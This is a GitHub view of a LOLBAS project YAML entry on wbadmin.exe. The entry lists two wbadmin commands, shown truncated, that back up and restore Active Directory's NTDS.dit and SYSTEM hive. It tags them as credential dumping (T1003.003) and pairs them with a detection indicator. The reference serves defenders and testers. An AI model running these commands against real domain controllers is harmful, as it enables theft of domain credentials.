LOLBAS-Project / **LOLBAS** Public

🔔 Notifications   ⑂ Fork 990   ☆ Star 7.1k

<> Code   ⊙ Issues 20   ⑂ Pull requests 20   ▷ Actions   ▦ Projects   ⓘ Security   ∿ Insights

LOLBAS / yml / OSBinaries / **Wbadmin.yml** ⧉   ···

26 lines (26 loc) · 1.31 KB

Code   Blame   Raw ⧉ ⬇ <>

```yaml
1   ---
2   Name: wbadmin.exe
3   Description: Windows Backup Administration utility
4   Author: Chris Eastwood
5   Created: 2024-04-05
6   Commands:
7     - Command: wbadmin start backup -backupTarget:C:\temp\ -include:C:\Windows\NTDS\NTDS.dit,C:\Windc
8       Description: Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)
9       Usecase: Snapshoting of Active Directory NTDS.dit database
10      Category: Dump
11      Privileges: Administrator, Backup Operators, SeBackupPrivilege
12      MitreID: T1003.003
13      OperatingSystem: Windows Server
14    - Command: wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:C:\temp -itemtype:
15      Description: Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmir
16      Usecase: Dumping of Active Directory NTDS.dit database
17      Category: Dump
18      Privileges: Administrator, Backup Operators, SeBackupPrivilege
19      MitreID: T1003.003
20      OperatingSystem: Windows Server
21  Full_Path:
22    - Path: C:\Windows\System32\wbadmin.exe
23  Detection:
24    - IOC: wbadmin.exe command lines containing "NTDS" or "NTDS.dit"
25  Resources:
26    - Link: https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960
```